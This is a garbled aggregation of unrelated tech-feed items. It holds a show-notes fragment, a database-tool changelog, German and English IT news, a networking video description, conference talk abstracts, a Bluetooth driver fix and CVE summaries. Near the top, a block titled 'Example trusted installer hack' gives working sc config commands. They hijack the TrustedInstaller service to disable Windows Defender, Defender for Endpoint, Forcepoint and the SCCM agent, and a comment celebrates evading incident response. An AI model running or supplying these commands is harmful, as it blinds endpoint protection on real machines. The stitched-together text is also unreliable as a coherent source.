IPC3628SR
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)




TrustedInstaller Run-as Tool:
 
ExecTI TrustedInstaller Runner










 Quick Takeaways








 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.


 Use 
grep -v "noise"
 to quickly filter out repetitive log entries when debugging automation scripts.


 Windows system folders can be stubborn; running commands as 
TrustedInstaller
 bypasses hidden file locks without manual ownership changes.


 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.


 Third-party download links often use temporary tokens or 
.bin
 wrappers; renaming to 
.zip
 and verifying with 7-Zip can save headaches.












Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.
  












Example trusted installer hack










# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...


sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  


sc start "TrustedInstaller" 


sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  


sc start "TrustedInstaller" 


sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  


sc start "TrustedInstaller" 


sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  


sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"










Provide feedback on this episode.


26.1.3
Sun, 19 Jul 2026 20:16:36 +0200
            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)



Microsoft admits it can’t fix Windows 11 Secure Boot problems, and older PCs are hit hardest
Sun, 19 Jul 2026 20:10:11 +0200
Microsoft's Secure Boot Office Hours event answered many IT admin questions, but several issues went unresolved, including HP BitLocker recovery loops that survived the latest BIOS, stuck KEK updates on HP EliteBooks, and Dell devices that refuse to update at all.
The post Microsoft admits it can’t fix Windows 11 Secure Boot problems, and older PCs are hit hardest appeared first on Windows Latest


Ransomware bei Coca-Cola Fairlife: US-Produktion pausiert und Systeme laufen im Restore
Sun, 19 Jul 2026 20:07:00 +0200
COOPERSVILLE (MICHIGAN) / LONDON (IT BOLTWISE) – Coca-Cola untersucht einen Ransomware-Angriff, der die Fairlife-Dairy-Einheit getroffen hat, und hat die US-Produktion an mehreren Standorten vorerst gestoppt. Laut SEC-Meldung prüft das Unternehmen noch Umfang und mögliche Auswirkungen auf den Betrieb. Fairlife betont, dass Qualität und Sicherheit der Produkte bislang nicht beeinträchtigt seien. Parallel arbeiten Sicherheits-Teams daran, Systeme […]
... den vollständigen Artikel »Ransomware bei Coca-Cola Fairlife: US-Produktion pausiert und Systeme laufen im Restore« lesen
Dieser Beitrag Ransomware bei Coca-Cola Fairlife: US-Produktion pausiert und Systeme laufen im Restore erschien als erstes auf IT BOLTWISE x Artificial Intelligence.


this is where the World Cup is ACTUALLY made
Sun, 19 Jul 2026 19:38:24 +0200
Author: NetworkChuck - Bewertung: 201x - Views:1712 
Build your next random idea on a Hostinger: https://hostinger.com/chuckfifa



I spent two days inside the FIFA World Cup International Broadcast Center (IBC), the temporary network that carries every camera, every replay, every goal from 16 stadiums, and the HBS team even handed me a packet capture of a real match. So we open it in Wireshark: uncompressed ST 2110 video, 150,000 multicast flows, and a failover trick that will make any network engineer smile.



🎓 I asked the crew HOURS of questions that didn't fit in this video, the full behind-the-scenes interviews are on NetworkChuck Academy: https://ntck-ac.co/fifa?utm_source=youtube&utm_medium=video&utm_campaign=fifa_world_cup_2026&utm_content=fifa_main_tour



 







RESOURCES / LINKS:

🎮 Play the Backrooms of the IBC (built on a Hostinger VPS with a Hermes agent): https://srv732026.hstgr.cloud

📚 THE SIGNAL — the World Cup networking comic I made for my kids: https://srv732026.hstgr.cloud/comic/

🛠️ Wireshark (decode packets yourself): https://www.wireshark.org

🌐 Official IBC Tours site: https://ibctours.tv

📺 The Hermes video (the AI agent that built the game): https://www.youtube.com/watch?v=QQEgIo4Juxg



TIMESTAMPS:

0:00 - The World Cup is made in Dallas

1:29 - Following one match: Boston → the IBC → the world

3:06 - How a match gets "made" 1,500 miles from the stadium

4:32 - The fiber (and the red/blue trick)

7:08 - Multicast Martin and 150,000 flows

11:52 - The thing I built at 1AM on a Hostinger VPS

14:10 - The people who make the World Cup

16:07 - Decoding a REAL World Cup match in Wireshark

21:45 - Addie's question: the sound of the ball

23:20 - The stadium, the backup plan, and the teardown

29:30 - A prayer for the stressed



FEATURING (huge thanks to the crew who make the World Cup — and this video — possible):

👤 Christoph Barbet — Head of Broadcast Infrastructure, HBS (Host Broadcast Services)

👤 "Multicast Martin" — broadcast SDN / TFC

👤 Alex — Master Control Room Supervisor

👤 Wolfgang Herman — IBC Communications Engineer

👤 Mick — Audio Listener

👤 Anthony & Colin — Layer 1 / Broadcast Support

👤 Steve — Control Systems & Dashboards

👤 Gavin — Stadium Manager, AT&T Stadium



**Sponsored by Hostinger



SUPPORT NETWORKCHUCK:

☕☕ COFFEE and MERCH: https://ntck.co/coffee



READY TO LEARN??

🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

📚 CCNA Course: https://ntck.co/ccna



FOLLOW ME EVERYWHERE:

Instagram: https://www.instagram.com/networkchuck/

X/Twitter: https://x.com/networkchuck

Facebook: https://www.facebook.com/NetworkChuck/

Join the Discord server: https://ntck.co/discord



Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you. #sponsored



#worldcup #networking #networkchuck



Windows 11: Microsoft stellt drei neue Recovery-Updates bereit - WinFuture.de
Sun, 19 Jul 2026 18:01:49 +0200
Für Windows 10 und Windows Server gibt es dieses Mal keine Aktualisierungen. Die folgenden Patches sind ab sofort verfügbar: Windows 11 24H2 und 25H2.


An SRE's Guide to Camping in Extreme Conditions (emf2026)
Sun, 19 Jul 2026 13:47:51 +0200
Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills are transferable to handling real-life situations, too!

In this talk, I’ll share a fun (slightly traumatic) guide to applying SRE thinking to camping. I'll talk about hacky fixes to resolve the immediate impact, the process of narrowing down the root cause, and the beauty of pattern matching in observability. 

You’ll see that monitoring, escalation, and redundancy aren’t just for data centres. They’re survival tools.

If you’ve ever been on-call or just like a good disaster story, join me for this slightly chaotic, entirely true adventure in off-grid reliability.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/230-an-sres-guide-to-camping-in-extreme-conditions


Google ändert Backup-Richtlinien: Android-Sicherungen kosten bald Speicherplatz
Sun, 19 Jul 2026 12:47:40 +0200
Bislang war das Sichern von Android-Geräten in der Google-Cloud ein recht entspanntes Thema. Abseits von Fotos, Videos und MMS-Medien belegten Geräteeinstellungen, SMS-Verläufe und App-Daten keinen Speicherplatz auf dem persönlichen Google-Konto. Das ändert sich nun. Google hat eine Anpassung der Speicherplatz-Richtlinien...Zum Beitrag: Google ändert Backup-Richtlinien: Android-Sicherungen kosten bald Speicherplatz

Wo du uns folgen kannst:
Facebook, Reddit, Google News, X, Threads



    Auf dem Laufenden bleiben?
    

    Fügt uns doch bei Google als bevorzugte Quelle hinzu!



Windows 11: Microsoft stellt drei neue Recovery-Updates bereit
Sun, 19 Jul 2026 12:23:11 +0200

			Passend zum Juli-Patchday veröffentlicht Microsoft wieder Aktualisierungen für die Windows-Wiederherstellungsumgebung bzw. SafeOS. Neben generellen Verbesserungen gibt es dieses Mal auch Informationen zu zwei konkreten Anpassungen.			(Weiter lesen)


Neuer PC? So übertragen Sie alles auf Windows 11 ohne Stress
Sun, 19 Jul 2026 10:41:36 +0200





Ein neuer PC ist schnell gekauft – der eigentliche Aufwand beginnt danach. Programme, Dateien, Benutzerkonten und Einstellungen sollen möglichst vollständig vom alten Rechner mitkommen. Wer alles von Hand einrichtet, verliert schnell einen ganzen Tag.



Umzugssoftware nimmt Ihnen diese Arbeit ab und überträgt viele Inhalte in einem Durchgang. Das lohnt sich besonders, wenn der alte Windows-10-PC ersetzt wird: Zwar gibt es über erweiterte Sicherheitsupdates noch Aufschub bis 2027, langfristig führt beim Neukauf aber meist Windows 11 den Weg vor. Wir zeigen, welche Wege es für den PC-Umzug gibt und worauf Sie achten sollten.



Welche Wege es für den Datenumzug gibt



Für den Wechsel auf einen neuen PC haben Sie drei Möglichkeiten. Spezialisierte Umzugssoftware überträgt Programme, Benutzerkonten und Dateien in einem Rutsch – der bequemste Weg, wenn installierte Anwendungen mitkommen sollen.



PROMOTION
Ihr Bildschirm ist zu klein? Dieser 17-Zöller bietet Platz für alles

Das HP OmniBook 7 überzeugt mit einem großzügigen 17,3 Zoll FHD-Touchdisplay für Übersicht bei Office-Arbeit, Multimedia und leichtem Gaming. Der Intel® Core™ Ultra 7 Prozessor mit 32 GB RAM meistert anspruchsvolle Aufgaben, die NVIDIA® RTX™ 4050 sorgt für zusätzliche Grafikleistung bei Kreativ-Workflows. Die beleuchtete Tastatur mit Nummernblock erleichtert die Dateneingabe, Fast Charge bringt den Akku schnell wieder auf 50 %.
Erfahren Sie mehr über das HP OmniBook 7



Die Bordmittel von Windows decken primär persönliche Dateien und ausgewählte Einstellungen ab: Über ein Microsoft-Konto und OneDrive landen synchronisierte Ordner, einige Windows-Einstellungen sowie Store-Apps auf dem neuen Gerät. Klassische Desktop-Programme müssen Sie damit jedoch neu installieren.



Bleibt der manuelle Umzug per externer Festplatte oder NAS. Diese Methode ist günstig und transparent, aber zeitraubend. Sie kopieren Dokumente, Bilder, Downloads, Browserprofile und Projektordner selbst und installieren anschließend jede Anwendung neu. Dieser Ratgeber stellt deshalb die komfortablere Variante mit Umzugssoftware in den Mittelpunkt und vergleicht zwei verbreitete Programme.



Windows-Umzug mit PCmover Professional



PCmover Professional von Laplink zählt zu den bekanntesten Umzugsprogrammen für Windows. Es kopiert Anwendungen, Daten, Benutzerkonten und Einstellungen vom alten Windows-PC auf den neuen Rechner mit Windows 11. Die Software kostet ab 34,95 Euro, eine reine Testversion reicht in der Regel nicht für einen vollständigen Programmumzug.


Christoph Hoffmann



Installieren Sie PCmover zunächst auf dem alten PC, also der Quelle. Nach dem Start ist die Übertragung zwischen zwei Rechnern voreingestellt. Unter „Erweiterte Optionen“ stehen zusätzlich der Umzug per Laufwerk und per Imagedatei bereit. Ein Klick auf „Übertragung zwischen PCs“ startet den Vorgang. Vor dem Fortfahren tragen Sie Name, E-Mail-Adresse und die nach dem Kauf erhaltene Seriennummer ein.



Installieren und starten Sie das Programm danach auf dem Ziel-PC mit Windows 11. Beide Rechner müssen sich im selben Netzwerk befinden. Ein spezielles Kabel ist nicht nötig, wenn beide PCs per LAN oder stabilem WLAN verbunden sind. Für große Datenmengen empfiehlt sich Gigabit-LAN, weil der Transfer darüber deutlich zuverlässiger und schneller läuft als über ein schwaches Funknetz.



PCmover sucht den Ziel-PC und stellt die Verbindung her. Anschließend zeigt die Software beide Rechner nebeneinander an. Prüfen Sie an dieser Stelle unbedingt die Übertragungsrichtung: Quelle muss der alte PC sein, Ziel der neue Windows-11-Rechner. Bei Bedarf lässt sich die Richtung umkehren.



Ein Klick auf „PC analysieren“ führt zur Auswahl. Hier stehen mehrere Optionen bereit, von der empfohlenen Standardübertragung bis zur manuellen Auswahl. Mit der Standardoption wird der neue PC weitgehend zum Abbild des alten – etwa mit Windows 11 statt Windows 10. 



Über „Weiter“ erhalten Sie eine Zusammenfassung in mehreren Kategorien. Kontrollieren Sie vordergründig den Punkt „Anwendungen“: Standardmäßig sind alle übertragbaren Programme markiert; einzelne können abgewählt werden.



Wie lange der Umzug dauert, hängt von der Datenmenge, dem Netzwerktempo und der Anzahl der Programme ab. Bei einem gut gefüllten PC kommen schnell mehrere Stunden zusammen. Nach Abschluss meldet das Programm den Erfolg. Starten Sie den neuen PC neu, damit alle Änderungen greifen.



Die Alternative: EaseUS Todo PCTrans



Wer nicht zwingend zu PCmover greifen möchte, findet in EaseUS Todo PCTrans eine verbreitete Alternative. Das Programm überträgt ebenfalls Programme, Dateien, Benutzerkonten und Einstellungen zwischen zwei Rechnern. Der Umzug von Windows 10 auf Windows 11 zählt zu den typischen Einsatzszenarien.



Der wichtigste Unterschied liegt beim Einstieg. EaseUS Todo PCTrans gibt es als Free-Version, die nur fünf Programme und eine zwei Gigabyte Daten überträgt. Das genügt zum Ausprobieren oder für sehr kleine Umzüge. Wer viele Programme, große Benutzerordner oder mehrere Konten übertragen will, benötigt die kostenpflichtige Pro-Version ab 40 Euro.


EaseUS



Die Bedienung folgt demselben Grundmuster wie bei PCmover. Sie installieren das Programm auf beiden Rechnern und legen über „PC zu PC“ die Richtung fest: alter PC als Quelle, neuer PC als Ziel. Beide Geräte müssen sich im selben Netzwerk befinden. Danach wählen Sie aus, welche Programme, Dateien und Konten mitkommen, und starten die Übertragung.



Neben dem Netzwerkweg beherrscht EaseUS Todo PCTrans auch den Umzug per Imagedatei auf einem externen Datenträger. Das ist praktisch, wenn beide PCs nicht gleichzeitig verfügbar sind oder der alte Rechner nur noch eingeschränkt läuft. Der Transfer erfolgt lokal, nicht über fremde Cloud-Server.



PCmover oder EaseUS – was passt zu wem?



Beide Programme verfolgen denselben Zweck, unterscheiden sich aber bei Preis, Bedienlogik und Zielgruppe. EaseUS Todo PCTrans ist attraktiv, wenn Sie zunächst kostenlos testen oder nur wenige Programme übertragen möchten. 



Für einen kompletten Umzug mit vielen Anwendungen und großen Datenmengen führt dagegen auch hier meist kein Weg an einer kostenpflichtigen Version vorbei.



PCmover Professional richtet sich stärker an Anwender, die einen möglichst vollständigen und kontrollierten Wechsel wünschen. Das Programm ist besonders interessant, wenn der neue Rechner dem alten möglichst stark ähneln soll und viele installierte Anwendungen mitkommen müssen.



Für einfache Fälle reicht oft die Kombination aus OneDrive, externer Festplatte und Neuinstallation der wichtigsten Programme. Für komplexe Systeme mit vielen Anwendungen, mehreren Benutzerkonten und gewachsenen Ordnerstrukturen spart Umzugssoftware dagegen viel Zeit.



Tipp: Mailkonten auf den neuen PC umziehen



Eine Windows-Neuinstallation oder ein neuer PC sind ein guter Anlass, auch das Mailprogramm zu überdenken – etwa eM Client, Thunderbird oder Outlook. Am einfachsten gelingt der Umzug, wenn Ihre Mailkonten bereits per IMAP eingerichtet sind. Bei IMAP bleiben die Nachrichten auf dem Server Ihres Mailproviders gespeichert und werden nur mit dem jeweiligen Gerät synchronisiert.



Der Vorteil: Sie greifen mit PC, Notebook, Smartphone oder Webmailer auf denselben Mailbestand zu. Für den Umzug richten Sie das Konto im Mailprogramm auf dem neuen Windows-PC einfach erneut ein. Dazu starten Sie den Einrichtungsassistenten, geben E-Mail-Adresse und Passwort ein und warten anschließend, bis das Programm alle Nachrichten synchronisiert hat. Je nach Postfachgröße und Internetverbindung kann das einige Zeit dauern.


Christoph Hoffmann



Aufwendiger wird es, wenn Sie Ihre Mails bisher per POP3 abrufen. In diesem Fall liegen viele Nachrichten oft nur lokal auf dem alten Rechner. Dann sollten Sie das Postfach vor dem Wechsel sichern. Dafür eignet sich etwa MailStore Home, das für die private Nutzung kostenlos ist. Das Programm archiviert lokale Mailbestände und kann sie anschließend wieder exportieren.



Erstellen Sie zunächst auf dem alten PC mit MailStore Home ein Backup Ihres POP3-Postfachs und sichern Sie dieses auf einem externen Datenträger. Auf dem neuen PC installieren Sie Ihr Mailprogramm sowie MailStore Home. Dort laden Sie die Sicherung und exportieren die Nachrichten über „E-Mails exportieren“ in ein IMAP-Postfach.



Damit wandern die bisher nur lokal gespeicherten Mails auf den Server Ihres Providers. Anschließend stehen sie nicht nur auf dem neuen Windows-PC, sondern auch auf Smartphone, Tablet und im Webmailer synchron zur Verfügung. 



Der Wechsel von POP3 zu IMAP lohnt sich daher besonders, wenn Sie Ihre E-Mails künftig auf mehreren Geräten nutzen möchten.



Vor dem Umzug: Das sollten Sie beachten



Unabhängig vom gewählten Programm sollten Sie vorab ein vollständiges Backup Ihrer wichtigen Daten auf einem externen Datenträger anlegen. Geht beim Transfer etwas schief, haben Sie eine unabhängige Kopie zur Hand.



Notieren Sie außerdem Lizenzschlüssel kostenpflichtiger Programme. Kostenlose Tools wie ProduKey können gespeicherte Produktschlüssel auslesen, ersetzen aber keine vollständige Lizenzverwaltung – prüfen Sie daher zusätzlich die Kundenkonten der jeweiligen Softwareanbieter.



Manche Anwendungen verlangen nach dem Umzug eine erneute Aktivierung. Bei Programmen mit Gerätebindung kann es nötig sein, die Lizenz auf dem alten PC vorher zu deaktivieren oder im Kundenkonto freizugeben.



Bei Microsoft Office hängt der Aufwand von der Lizenz ab. Ein Microsoft-365-Abo oder eine an das Microsoft-Konto gebundene Office-Lizenz richten Sie auf dem neuen PC meist einfach erneut über das Konto ein. Ältere Einzelplatzlizenzen ohne Kontobindung können komplizierter sein.


Christoph Hoffmann



Prüfen Sie überdies, ob alle wichtigen Programme unter Windows 11 laufen. Sehr alte Tools, Spezialsoftware, Treiberpakete, Scanner-Software oder ältere VPN-Clients können Probleme verursachen. Hier ist eine Neuinstallation oft sauberer als eine blinde Übernahme.



Wichtiger Vorab-Tipp: Deinstallieren Sie auf dem alten PC vor dem Umzug alte Druckertreiber oder tief ins System eingreifende Software (wie Antivirenprogramme von Drittanbietern). Solche Systemkomponenten werden von Umzugsprogrammen manchmal fälschlicherweise mitkopiert und können das neue Windows 11-System instabil machen.



Planen Sie für einen gut gefüllten PC genügend Zeit ein. Je nach Datenmenge dauert die Übertragung von einer bis zu mehreren Stunden.



Nach dem Umzug sollten Sie Windows Update ausführen, Programme starten, Drucker prüfen, Cloud-Synchronisierung kontrollieren und wichtige Dateien stichprobenartig öffnen.



 FAQ 

1.
Kann ich Programme einfach vom alten PC auf den neuen kopieren?




Nein, in der Regel reicht das Kopieren des Programmordners nicht aus. Viele Anwendungen legen Einträge in der Windows-Registry an, speichern Lizenzdaten an anderen Stellen oder installieren zusätzliche Komponenten. Deshalb müssen Programme entweder neu installiert oder mit spezieller Umzugssoftware übertragen werden.





2.
Was ist besser: Umzugssoftware oder Neuinstallation?




Das hängt vom Zustand des alten PCs ab. Ist das System gut gepflegt und sollen viele Programme mitkommen, spart Umzugssoftware viel Zeit. Ist der alte Rechner dagegen über Jahre langsam, unübersichtlich oder fehleranfällig geworden, ist eine saubere Neuinstallation oft die bessere Wahl. Dann übernehmen Sie nur Daten und installieren Programme gezielt neu.





3.
Werden auch Passwörter und Browserdaten übertragen?




Teilweise. Browserdaten wie Lesezeichen, Verlauf und Erweiterungen lassen sich meist über das jeweilige Browserkonto synchronisieren, etwa bei Edge, Chrome oder Firefox. Gespeicherte Passwörter sollten Sie vor dem Umzug prüfen und am besten zusätzlich in einem Passwortmanager sichern. Verlassen Sie sich nicht ausschließlich darauf, dass eine Umzugssoftware alle Zugangsdaten vollständig übernimmt.





4.
Muss der alte PC während des Umzugs weiter funktionieren?




Für den direkten Transfer über das Netzwerk ja. Beide Rechner müssen eingeschaltet und erreichbar sein. Alternativ können einige Programme ein Umzugsabbild auf einer externen Festplatte erstellen. Das ist praktisch, wenn der neue PC noch nicht bereitsteht oder der alte Rechner nur noch eingeschränkt nutzbar ist.





5.
Was sollte ich nach dem Umzug zuerst prüfen?




Starten Sie den neuen PC neu und führen Sie Windows Update aus. Danach sollten Sie wichtige Programme öffnen, Lizenzaktivierungen kontrollieren, Drucker und Scanner testen, Mailkonten prüfen und sicherstellen, dass Cloud-Dienste wie OneDrive vollständig synchronisieren. Öffnen Sie außerdem stichprobenartig wichtige Dokumente, Bilder und Projektordner.















Google Play Store Aktion: Diese 72 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis
Sun, 19 Jul 2026 10:03:02 +0200

Am Finalsonntag hält der Google Play Store sehr viele temporär kostenlose Apps, Spiele, Icon Packs und Live Wallpaper bereit - schaut mal herein. Heute berichten wir über das Pixel Upgrade-Modell, erklären das flexible Android-Backup und zeigen euch die Flut von Android 17 Betas. Verpasst auch nicht die starken Pixel-Aktionen im Google Store.
Mehr lesen: Google Play Store Aktion: Diese 72 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Google Play Store Aktion: Diese 72 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis erschien zuerst auf GoogleWatchBlog.


Diese neuen Funktionen bekommen Android-Nutzer im Juli
Sun, 19 Jul 2026 09:17:30 +0200





Google ist aktuell dabei, ein neues Google-Play-System-Update auszurollen. Damit erhalten Android-Nutzer monatlich neue Funktionen, die einen direkten Einfluss auf ihr Smartphone haben (unabhängig vom Hersteller).



Die Seite 9to5Google hat die wichtigsten Neuerungen zusammengefasst. Demnach bekommen Android-Nutzer die Option, die Sicherung von SMS-, MMS- und RCS-Nachrichten direkt zu steuern. Das ähnelt der separaten Backup-Einstellung für ausgewählte Apps, die wir Ihnen letzte Woche vorgestellt hatten.



Über Einstellungen > Konten und Sicherung > Google-Sicherung > Weitere Gerätedaten gibt es nach Erhalt des Updates einen neuen Ein-/Aus-Schalter für SMS- und MMS-Nachrichten, Anrufverlauf und Geräteeinstellungen. Sie haben also deutlich mehr Kontrolle darüber, welche Daten Sie über die Google-Cloud speichern wollen.



Das ist auch besonders wichtig, da Google seit Neuestem keine Gratis-Backups für Android-Geräte mehr erlaubt. Jedes Backup Ihres Smartphones zählt also direkt auf Ihr verfügbares Speicherkontingent ein, das in der Gratis-Variante gerade einmal 15 GB sind.



Zusätzlich führt Android nun die lokale Sicherung von Dokumenten ein. Damit können Sie Ihre heruntergeladenen Dokumente automatisch in Google Drive speichern, damit diese sicher und von jedem Ihrer Geräte aus zugänglich sind. Auf der Seite „Sicherung“ erscheint dann neben „Fotos & Videos“ und „Sonstige Gerätedaten“ ein neues Menü namens „Dokumente“.



Google erklärt, dass zu den unterstützten Dateiformaten .DOC, .PPT, .XLS, .PDF “und alle anderen auf diesem Gerät gespeicherten Dokumente” gehören. Dokumente sollen bei der Übertragung zwischen Ihrem Gerät und den Google-Diensten verschlüsselt werden. Änderungen, die an den Dokumenten an einem Ort vorgenommen werden, werden nicht mit anderen Orten synchronisiert.



Mehr Neuerungen



In den Versionshinweisen zu den Google-Systemdiensten finden sich noch mehr kleine Neuerungen, die jetzt an Android-Nutzer ausgerollt werden. Dazu gehören unter anderem die Überarbeitung von In-App-Käufen mithilfe einer “verbesserten, nativen Storefront für Google One”, die Übertragung von Arbeitsprofilen auf Wear-OS-Smartwatches, eine neue Google-Standortfreigabe für Chromebooks sowie „neue Funktionen für Entwickler von Google- und Drittanbieter-Apps zur Unterstützung von Prozessen in ihren Apps im Zusammenhang mit Google Maps”.



All diese neuen Funktionen werden seit dem 6. Juli an Android-Nutzer verteilt. Über Einstellungen > Sicherheit und Datenschutz > Updates > Google Play-Systemupdate können Sie die aktuell installierte Version der Google Play System Updates prüfen und gegebenenfalls auf eine neue Version aktualisieren.



Android 17: Diese Smartphones bekommen das Update




Fixed CSR8510/Barrot Bluetooth clone dongle failures ("Unbranded CSR clone detected", HCI timeouts) — root cause + patch
Sun, 19 Jul 2026 04:54:40 +0200
Symptom: cheap USB Bluetooth dongles sold as "CSR 4.0/5.0/5.1/5.3 adapter" (lsusb: 0a12:0001 Cambridge Silicon Radio) fail to pair, time out on HCI commands, or hci0 gets stuck until unplug/replug. Kernel log shows:
 Bluetooth: hci0: CSR: Unbranded CSR clone detected; adding workarounds... Bluetooth: hci0: command 0x0401 tx timeout Bluetooth: hci0: CSR: Couldn't suspend the device for our Barrot 8041a02 receive-issue workaround 
 Root cause: these are clone chips (Barrot 8041a02 and similar), not genuine CSR8510 hardware. They respond to some HCI init commands with malformed/incomplete data, and the kernel's existing clone-detection workaround doesn't fully compensate for it — so init either fails outright or the controller gets wedged after a timeout, with no automatic recovery.
 Fix: patched btusb to handle these malformed responses correctly during init, fixed a fragile USB power-management suspend path that made things worse, and added automatic recovery (USB reset) on init failure/timeout instead of leaving hci0 dead. Only affects the detected clone code path — genuine CSR hardware is untouched.
 Result: adapter initializes and pairs normally instead of needing repeated unplug/replug/reset cycles.
 Caveat: this covers the specific failure modes I could reproduce and test against; different clone batches use different chips internally (as pointed out in discussions elsewhere), so it may not cover every single fake CSR8510 variant out there.
 Repo (patch, DKMS install/rollback instructions): https://github.com/hhsnake/csr8510-fix
 Install:
 sudo apt install dkms linux-headers-$(uname -r) git clone https://github.com/hhsnake/csr8510-fix.git cd csr8510-fix sudo ./install.sh 
 Tested on kernels 5.15–7.0+ across several Ubuntu LTS/HWE combinations.
 
   submitted by    /u/Immediate_Ad_499  
 [link]   [comments]


CVE-2026-60114 | Dan-in-CA SIP up to 5.2.16 restore key path traversal
Sat, 18 Jul 2026 19:18:33 +0200
A vulnerability classified as very critical was found in Dan-in-CA SIP up to 5.2.16. Affected is the function restore. Executing a manipulation of the argument key can lead to path traversal.

This vulnerability is tracked as CVE-2026-60114. The attack can be launched remotely. No exploit exists.


Android: Google startet flexibles Backup für alle Nutzer – so könnt ihr jetzt eure Apps einzeln auswählen
Sat, 18 Jul 2026 19:08:18 +0200

Das Betriebssystem Android besitzt seit vielen Jahren eine fest integrierte Backup-Lösung, die alle wichtigen Daten des Geräts in der Cloud sichern und von dort bei der Neuinstallation auch wiederherstellen kann. Jetzt wurde eines der größten Updates der letzten Jahre ausgerollt und ermöglicht es allen Nutzern, die zu sichernden App-Daten separat auszuwählen. Wir zeigen euch, wie das funktioniert und wozu ihr das benötigt.
Mehr lesen: Android: Google startet flexibles Backup für alle Nutzer – so könnt ihr jetzt eure Apps einzeln auswählen


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android: Google startet flexibles Backup für alle Nutzer – so könnt ihr jetzt eure Apps einzeln auswählen erschien zuerst auf GoogleWatchBlog.


Combi Boilers Suck, My Plumbing Pipe Dream (emf2026)
Sat, 18 Jul 2026 18:48:38 +0200
Get a house they said, it'll be fun they said. Well, not on a icy February morning when you step into the shower and it runs ice cold, it isn't. Modern UK plumbing is based around combi-boilers, which is the plumbing equivalent of flying a fighter jet with no ejection seat - when things go wrong, oh boy do they go wrong. They provide a lovely standardized plumbing system in a box, greatly reducing the gubbins needed in your house; but they lack any flexibility, or backup plan.

My crazy plan is to cram into a small house: the facility to heat water conventionally (via a boiler), and via thermal solar, ...and via a solid fuel burning back boiler, ...and an electric heater. Needless to say, none of this is 'standard', so a magical system in a box won't work. This is where that February morning comes to bite, the old boiler decided to pack-up a month ahead of schedule, before any of this new stuff was ready. I can assure you, the old 1940s way of heating water with a kettle is a right royal faff.

By the end of the talk, you'll know exactly why combi boilers suck; what this vented nonsense is; what gravity has to do with anything; stuff about zones; what my secret s plan is, and why not y; and why, technically speaking (the best kind of speaking), it is illegal to remove a heatpump system in the UK if you don't like it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/75-combi-boilers-suck-my-plumbing-pipe-dream


CVE-2026-16088 | halo-dev halo up to 2.24.2 Files Backup Endpoint MigrationEndpoint.java download path traversal (Issue 10064 / EUVD-2026-45369)
Sat, 18 Jul 2026 15:38:45 +0200
A vulnerability was found in halo-dev halo up to 2.24.2. It has been classified as critical. Affected by this vulnerability is the function Download of the file MigrationEndpoint.java of the component Files Backup Endpoint. Performing a manipulation results in path traversal.

This vulnerability is reported as CVE-2026-16088. The attack is possible to be carried out remotely. Moreover, an exploit is present.


High-Power Rocketry on the Cheap (emf2026)
Sat, 18 Jul 2026 13:32:50 +0200
Rocketry is an expensive hobby. There are things you can do for cheap, but cutting costs too much can impact safety, or more importantly: fun. This is a guide for how you can have as much fun as possible, as safely as possible, without breaking the bank.

